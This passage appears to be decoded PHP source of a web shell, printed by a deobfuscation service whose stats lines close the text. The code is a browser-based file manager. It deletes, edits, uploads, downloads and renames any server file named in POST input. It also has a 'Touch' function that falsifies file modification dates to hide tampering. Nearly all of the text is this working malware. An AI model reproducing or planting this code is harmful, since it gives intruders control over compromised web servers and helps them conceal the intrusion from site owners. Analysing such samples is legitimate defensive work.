<td><a href="' . $_SERVER['HTTP_REFERER'] . '"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDoAABSCAABFVgAADqXAAAXb9daH5AAAANJSURBVHja7NVLbxtVHAXwEyRgxSKsIHFci3g8nhnP2/Ow0yR+NLE9Gc8jCQ5OxkmaJm3Io1CpQaISpDQERSgoKtRFwY3bJZ8AdVupH4EVZYEEEiB1QRfdgNTLYvpKqWhpQAKJxdld3Z/OvX/dC0II/sngf+DfBfCTIvhJEdKMDLEhg5vgwdV4CIEE2mFekmbkZuoN4U2uxoOb4JH0WYgNGfJRBcqxNJgxFkIggRnlEC8nEC8nngDUeLDjHFJ1oVNbMi4XN48QbcnYSi/qUE9oYF9PPTsgBBLEhgyxIQvZtcPX7ItVYn02QvQVY11fNg8OpOoC5Dk1lz9buFHddYjX9slI0ybZ04fPmW9nocynO5hRDsKU9BeBugghkKAuaPOFzSO3nJZH3D2PuJc84rRcMrxd/mngzOB1863sl+KM/I48q5hCIL34VIAQSBAC6WV91Txf+qRMnEsPNn84Tssl1S8cYjerZGhr+HbmVPYreU4dZnzuzwF5Tl0zTmaujlywidt+/ObuPXTPI96eT7y2T5yWS4ofDf2qzKc3uQn+hYMDjwG9tk8q5y2SXtSbtMMc7Ii8RxrcW+Pt+aSyYxGxIZ/qHaae7ZJL2+Wfc2fzN/IbxZtDH5d+K+9U7lR3HeK2wxZe2yf5Dwo/MqOcRFn0U43pt+GYesT+vEqMVXMjXkk8F7cSrzDjKUU+ps4aq+blwfdz31mfWnf8tk+quw5RF7XmHxvUwwbSUQXitAxpVoE0rQh9a/3X7ItVMnLBJvqysZ70WPSWKDDjKSgLaVA2Da7GR/QV40xho3jTabmkcK74Q7ySiO8HpsIGvWUKsfxriA7EQDsMUnWhU18OnwpjxdxSj2tgfA7sXYB2GQiBBHlOBTPGqoPv5b4u71QIPykG+4Ce7CH0ZA+h2+y5ny49guhADEmXfZ6fEt9NumyddpJI2DRol7kP8FMi1AUNlEWDGeXSufX8L8bJzJV9QCQTfTQdXVqkI9ofQ9JjkaoLIapF8KrajWh/DOoJDbQTNlCOp5GwaVAWDXVR+zB7uu+bJwHo0iJ4GIhkoug2QiQ6cBdwGXA1HtKs/OAep5U+bUn//m8DeksUKIsGZYeJVxKdzBi3/d//Mn8fAHPpK2jpQ02eAAAAAElFTkSuQmCC" title="Go back"/></a></td>
<td>Path: <input style="border: 1px solid #cccccc;width: 250px;" name="path" type="text" value="' . getcwd() . '" />
<input style="border: 1px solid #cccccc;" type="submit" name="submitBtn" value="Go dir" />
</td>
</tr>
</table>
</form>';
echo $HTML2 . "<div class='all' id='result'><form method='post' action='#openModal'><table id='firsttab'>";
echo "<tr style = 'background-color: #73afe4;color: #0E175D;height: 24px;'><td></td>" . "<td>" . "Name" . "</td>" . "<td>" . "Action" . "</td>" . "<td>" . "Permissions" . "</td>" . "<td>" . "Owner/Group" . "</td>" . "<td>" . "Modify" . "</td>" . "<td>" . "Size" . "</td></tr>";
$alldir = array();
$allfile = array();
$alllink = array();
while (false !== ($file = readdir($handle))) {
if (is_link($path . '/' . $file)) {
array_push($alllink, $file);
} elseif (is_file($path . '/' . $file)) {
array_push($allfile, $file);
} elseif (is_dir($path . '/' . $file)) {
array_push($alldir, $file);
}
}
closedir($handle);
} else {
echo '<div><span class="error">Can\'t open folder!<br><br><a class="a_size" href="' . $_SERVER['HTTP_REFERER'] . '">--> Go back <--</a></span></div>';
}
sort($alldir);
sort($allfile);
sort($alllink);
$allfiles = array_merge($alldir, $allfile, $alllink);
foreach ($allfiles as $file) {
if ($file != "." && $file != "..") {
$fName = $file;
$userinfo = posix_getpwuid(fileowner($file)) ["name"] . "/" . posix_getgrgid(filegroup($file)) ["name"];
if (strlen($path) == 1) {
$file = $path . $file;
} else {
$file = $path . '/' . $file;
}
if (is_link($file)) {
$disppath = readlink($file);
if (strpos($disppath, "/") != 0) {
$disppath = "/" . $disppath;
}
if (is_file(readlink($file))) {
echo "<tr tabindex='0' class='note'><td class='cbox'>" . "<input type='checkbox' name='choose[]' value='$file'>" . "</td>" . "<td class='col'>➦" . "<input class='openf all' type='submit' name='view' value=" . $fName . ">" . "</td>" . "<td>" . "<input style='border: 1px solid #cccccc;' name='del' value='D' type='submit' title='Delete'>" . "<input style='border: 1px solid #cccccc;' name='ren' value='R' type='submit' title='Rename'>" . "<input style='border: 1px solid #cccccc;' name='tou' value='T' type='submit' title='Touch'>" . "<td>" . "[" . numPerms($file) . "] " . printPerms($file) . "</td>" . "<td>" . $userinfo . "</td>" . "<td>" . date('d-m-Y H:i:s', filemtime($file)) . "</td>" . "<td>LINK</td></tr>";
} else {
echo "<tr tabindex='0' class='note'><td class='cbox'>" . "<input type='checkbox' name='choose[]' value='$file'>" . "</td>" . "<td class='col'>➦<a href='" . $_SERVER['PHP_SELF'] . "?path=$disppath'>$fName</a> </td>" . "<td>" . "<input style='border: 1px solid #cccccc;' name='del' value='D' type='submit' title='Delete'>" . "<input style='border: 1px solid #cccccc;' name='ren' value='R' type='submit' title='Rename'>" . "<input style='border: 1px solid #cccccc;' name='tou' value='T' type='submit' title='Touch'>" . "<td>" . "[" . numPerms($file) . "] " . printPerms($file) . "</td>" . "<td>" . $userinfo . "</td>" . "<td>" . date('d-m-Y H:i:s', filemtime($file)) . "</td>" . "<td>LINK</td></tr>";
}
} elseif (is_file($file)) {
$endsize = "";
$fullsize = filesize($file);
if ($fullsize < 1024) {
$endsize = "B";
} elseif ($fullsize < 1048576) {
$endsize = "KB";
$fullsize/= 1024;
} elseif ($fullsize < 1073741824) {
$endsize = "MB";
$fullsize/= 1048576;
}
echo "<tr tabindex='0' class='note'><td class='cbox'>" . "<input type='checkbox' name='choose[]' value='$file'>" . "</td>" . "<td class='col'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDoAABSCAABFVgAADqXAAAXb9daH5AAAAFgSURBVHjafJJBbtVAEETfOF8iipFyLlY5AKwQ2ygHQBHrZIMQCnCEZIVEJNacIuw5wk9ifkJ3FYux/ze2w0gtj9xTVd3VXWxj25dXP1it9lg6Nz9/8e70VVnKlYGgu3+gfb6/+Oji87UjxMnx0SzfDBdhJHkaYNvm5PiofLz45ojwIkFDoWmaMg0oBUCS37x+wacv37HtWQt39xvag2fzHkvh7PyKtt3HNgbW647Tty9rO3Yt/e72t3uyWWTKj4/hzeaPu+7B7z983b5dTT2YqmcaO4kAO8kEW9s3q6kHY4KItA0RxoZMkIRd5gTjCnbK6pXVg2sF2nm4XMFU+Z/ypeUWRJ3GVHkAD1/XzZgTUMo2OShL7nuuYAmUT3hAikwRkX3ZAxAyKzgz0VMehNwrDrsxHp97Eyt4hN8R2BApQiJD9R5JZhJhIkVm1umM1mW7yuvbbveT/x8bDg/bAvB3ANDOll1QTtuSAAAAAElFTkSuQmCC' /> " . "<input class='openf all' type='submit' name='view' value=" . $fName . ">" . "</td>" . "<td>" . "<input style='border: 1px solid #cccccc;' name='del' value='D' type='submit' title='Delete'>" . "<input style='border: 1px solid #cccccc;' name='ren' value='R' type='submit' title='Rename'>" . "<input style='border: 1px solid #cccccc;' name='tou' value='T' type='submit' title='Touch'>" . "<input style='border: 1px solid #cccccc;' name='edit' value='E' type='submit' title='Edit'>" . "<input style='border: 1px solid #cccccc;font-size: 14px;padding-left: 6px;padding-right: 6px;' name='load' value='⬇' type='submit' title='Download'>" . "</td>" . "<td>" . "[" . numPerms($file) . "] " . printPerms($file) . "<td>" . $userinfo . "</td>" . "<td>" . date('d-m-Y H:i:s', filemtime($file)) . "</td>" . "<td>" . round($fullsize, 2) . " " . $endsize . "</td></tr>";
} elseif (is_dir($file)) {
echo "<tr tabindex='0' class='note'><td class='cbox'>" . "<input type='checkbox' name='choose[]' value='$file'>" . "</td>" . "<td class='col'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACX0lEQVR42mNkoBAwDh4DyjyEpBkZGTg7t7+7g6wg1V6AzVCBy4aDm503adr9jRgGlHoIyMRluKyT1VY0YWRmYji7/dSc84evzVJWETGS05L3FFWUcBaVE+P98/Pn/56y5TYNa14cQzFgXoF0Z1RlShkj2DH/gegfEP0F8v6B2Qz//8Lx3hXHJqzbcK1YXZJVV0qMXXvXhR8rGEPNueIWLotZyMwlgqKY4R8y+w/DxxdvGN48ev6Bg1/okZiyLMd/Fp5v3YWLYxml+RmFj6y0ey6lbcgKU4ww4A+Y/+zmAwYeUUEGHkmV//8ZWa4wM/3/dWXPuZPGCfuzwYG4rFbyZHCitxnMgH+/fzG8e/aW4ceXd0BPMTOIKskzcPAKAw38zfDn178H//78eb+0a1dCxqJXl8AGlPuzdNe3+ZYwMzExfP/0leHJnbsM0poaDJx8wsCwAIbLv99w/Ofn77ePb7w+oBF5KgQejV66zMFLphut4eYVYLh1/iaDipk5AxMTI1TTLwZGFAN+/Tyx61mpU/2TyXAD1ESYFPbMlbv//y8HA7cwNwOfEDBA//5GsRmG//35/X/apBcORWu+HIIbIMrNyLS5U+gtHzezgIquEjTwYJr+QAMWQj96+OtLQMU7+SvP/71DSYmz0tlO+3oLmwgL80E0/ofExr+/fxjevfn9/+y13/cPX/x1eOep33MuPv13BCMpt4WzrCpMFw1lAgbax/e//1+88fvpkUu/jhy59HvfhYf/Dnz++f/+r78Mf3DmBSMZJrMgW7bCk9f+HD13/+/+N1//3/yJRQM6AAA6UD7VkPGJ1gAAAABJRU5ErkJggg==' /> <a href='" . $_SERVER['PHP_SELF'] . "?path=$file'>$fName</a></td>" . "<td>" . "<input style='border: 1px solid #cccccc;' name='del' value='D' type='submit' title='Delete'>" . "<input style='border: 1px solid #cccccc;' name='ren' value='R' type='submit' title='Rename'>" . "<input style='border: 1px solid #cccccc;' name='tou' value='T' type='submit' title='Touch'>" . "<input style='border: 1px solid #cccccc;padding: 0 7px;' name='up' value='U' type='submit' title='Upload'>" . "</td>" . "<td>" . "[" . numPerms($file) . "] " . printPerms($file) . "<td>" . $userinfo . "</td>" . "<td>" . date('d-m-Y H:i:s', filemtime($file)) . "</td>" . "<td>DIR</td></tr>";
}
}
}
echo "</table></form></div></div>";
}
echo showContent($actpath);
function removeDirectory($dir) {
if ($objs = glob($dir . "/*")) {
foreach ($objs as $obj) {
is_dir($obj) ? removeDirectory($obj) : unlink($obj);
}
}
return rmdir($dir);
}
$modal = '
<div id="openModal" class="modalbackground">
<div class="modalwindow">
<p>text</p>
<a href="">Close</a>
</div>
</div>';
if (isset($_POST['del'])) {
if (!empty($_POST['choose'])) {
foreach ($_POST['choose'] as $value) {
if (is_link($value)) {
if (unlink($value)) {
echo str_replace("text", '<p class="pm">' . "The link was successfully deleted!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "Error! The link was not deleted!" . '</p>', $modal);
}
} elseif (is_file($value)) {
if (unlink($value)) {
echo str_replace("text", '<p class="pm">' . "The file was successfully deleted!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "Error! The file was not deleted!" . '</p>', $modal);
}
} elseif (is_dir($value)) {
if (removeDirectory($value)) {
echo str_replace("text", '<p class="pm">' . "Directory deleted!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "Error! The directory was not deleted!" . '</p>', $modal);
}
}
}
}
}
if (isset($_POST['edit'])) {
if (!empty($_POST['choose'])) {
$val = $_POST['choose'][0];
if (is_readable($val)) {
$formedit = "
<div id='openModal' class='modalbackground'><div class='modalwindow2'><form style='width: 96%;height: 85%;margin: 0 auto;' method='post'>
<textarea style='resize: none;width: 98%;height: 98%;' name='edit_code'>" . htmlspecialchars(file_get_contents($val)) . "</textarea><input type='hidden' name='correction' value='" . $_POST['choose'][0] . "'><input style='float:left;margin-left: 1%;margin-top: 8px;' type='submit' value='Apply the changes'></form><a href=''>Close</a></div></div>";
echo $formedit;
} else {
echo str_replace("text", '<p class="pm">' . "Error! Can't open file!" . '</p>', $modal);
}
}
}
if (isset($_POST['edit_code'])) {
$result = file_put_contents($_POST['correction'], $_POST['edit_code']);
if ($result === FALSE) {
echo str_replace("text", '<p class="pm">' . "Error writing to file!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "The file was successfully modified!" . '</p>', $modal);
}
}
if (isset($_POST['view'])) {
if (is_readable($_POST['view'])) {
$doc = fopen($_POST['view'], "rt");
$contents = '';
while (!feof($doc)) $contents.= fread($doc, 4096);
fclose($doc);
if (filesize($_POST['view']) == 0) {
echo str_replace("text", '<p class="pm">' . "The file is empty!" . '</p>', $modal);
} elseif ($contents) {
echo '<div id="openModal" class="modalbackground">' . '<div class="modalwindow2">' . "<div class='area'>";
highlight_string($contents);
echo "</div>" . '<a href="">Close</a>' . "</div>" . "</div>";
}
} else {
echo str_replace("text", '<p class="pm">' . "Error! Can't open file!" . '</p>', $modal);
}
}
if (isset($_POST['up']) && !empty($_POST['choose'])) {
echo '<div id="openModal" class="modalbackground">' . '<div class="modalwindow">' . "<div style='width: auto;' class='area'>";
echo '<p style="margin-left:5px;text-align: left;">' . "upload_max_filesize: " . ini_get("upload_max_filesize") . "<br>" . "post_max_size: " . ini_get("post_max_size") . '</p>';
echo '
<pre>
<form method="POST" enctype="multipart/form-data">
<label><b class="bt">Uploader:</b></label>
<input type="file" name="filename" ><br/>
<input type="hidden" name="up_file" value="' . $_POST['choose'][0] . '">
<input type="submit" value="Upload">
</form>
<pre>';
echo "</div>" . '<a href="">Close</a>' . "</div>" . "</div>";
}
if ($_FILES['filename']['error'] == UPLOAD_ERR_OK) {
$name = $_POST['up_file'] . '/' . $_FILES['filename']['name'];
if (move_uploaded_file($_FILES['filename']['tmp_name'], $name)) {
$text = '<p class="pm">' . "The file was uploaded successfully!" . '</p>';
$newphrase = str_replace("text", $text, $modal);
echo $newphrase;
}
} else {
echo str_replace("text", '<p class="pm">' . "Error! The file is not selected!" . '</p>', $modal);
}
if (isset($_POST['tou']) && !empty($_POST['choose'])) {
echo '<div id="openModal" class="modalbackground">' . '<div class="modalwindow">' . "<div style='width: auto;' class='area'>";
echo "
<form method='post'>
<textarea style='resize: none;' name='code'>" . date('d-m-Y H:i:s', filemtime($_POST['choose'][0])) . "</textarea>
<input type='hidden' name='date_file' value='" . $_POST['choose'][0] . "'><br/>
<input type='submit' value='Touch'>
</form>";
echo "</div>" . '<a href="">Close</a>' . "</div>" . "</div>";
}
if (isset($_POST['code'])) {
if (touch($_POST['date_file'], strtotime($_POST['code']))) {
$text = '<p class="pm">' . "Modification date changed!" . '</p>';
$newphrase = str_replace("text", $text, $modal);
echo $newphrase;
} else {
echo str_replace("text", '<p class="pm">' . "Error! You couldn't change the date!" . '</p>', $modal);
}
}
if (isset($_POST['ren']) && !empty($_POST['choose'])) {
echo '<div id="openModal" class="modalbackground">' . '<div class="modalwindow">' . "<div style='width: auto;' class='area'>";
echo "
<form method='post'>
<textarea style='resize: none;' name='r_code'>" . $_POST['choose'][0] . "</textarea>
<input type='hidden' name='ren_file' value='" . $_POST['choose'][0] . "'><br/>
<input type='submit' value='Rename'>
</form>";
echo "</div>" . '<a href="">Close</a>' . "</div>" . "</div>";
}
if (isset($_POST['r_code'])) {
if (rename($_POST['ren_file'], $_POST['r_code'])) {
echo str_replace("text", '<p class="pm">' . "Renaming completed!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "Error! Not renamed!" . '</p>', $modal);
}
}
echo '</div></div>';
} else echo showForm();
?>
</body>
</html>
Function Calls
None |
Stats
MD5 | cbb938ad9b581fd7e0b86ed5ba824586 |
Eval Count | 0 |
Decode Time | 297 ms |